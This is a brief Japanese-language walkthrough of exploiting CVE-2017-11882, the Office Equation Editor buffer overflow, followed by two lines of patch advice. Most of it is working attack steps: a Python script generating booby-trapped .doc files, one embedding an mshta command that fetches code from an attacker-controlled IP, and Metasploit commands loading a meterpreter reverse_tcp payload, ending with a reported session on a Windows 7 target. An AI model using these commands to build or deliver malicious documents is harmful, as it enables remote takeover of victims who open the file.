CVE-2017-11882

CVE-2017-11882の概要

エクスプロイトの効果から見ると、Office 2003から2016までのすべてのバージョンに有効で、攻撃環境の構築も非常に簡単です。 この脆弱性は、Officeソフトウェア内の[数式エディタ]に起因します。エディタのプロセスが名前の長さを検証しないため、バッファオーバーフローが発生し、攻撃者は特別な文字を構築することで任意のコード実行を実現できます。 例えば、ハッカーがこの脆弱性を利用してシェルバックドアを含むOfficeファイルを作成した場合、一般ユーザーがそのOfficeファイルを開くと、コンピュータがハッカーに直接制御される可能性があります。

影響バージョン：

office 2003 
office 2007 
office 2010 
office 2013 
office 2016

使用方法

python Command_CVE-2017-11882.py -c "cmd.exe /c calc.exe" -o test.doc

生成された「test.doc」をクリックすると、電卓が正常に起動します。

python Command_CVE-2017-11882.py -c "mshta http://192.168.43.165:8080/11882" -o 11882-3.doc

11882-3.doc Wordファイルの生成に成功しました。

cve_2017_11882.rbファイルを/usr/share/metasploit-framework/modules/exploits/windows/smbディレクトリに配置します：

msf > search CVE-2017-11882
msf > use exploit/windows/smb/CVE-2017-11882 
msf exploit(CVE-2017-11882) > set payload windows/meterpreter/reverse_tcp 
msf exploit(CVE-2017-11882) > set lhost 192.168.43.165 
msf exploit(CVE-2017-11882) > set uripath 11882 
msf exploit(CVE-2017-11882) > exploit

リスニング状態を開始します：

win7ターゲットマシン内の11882-3.docファイルをクリックして、セッションの取得に成功しました！

脆弱性の修復

①オンライン更新；Windows Updateを有効にします。この方法でほとんどの人には十分です。

②パッチ適用；この脆弱性に対応するマイクロソフトのパッチアドレス：https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-11882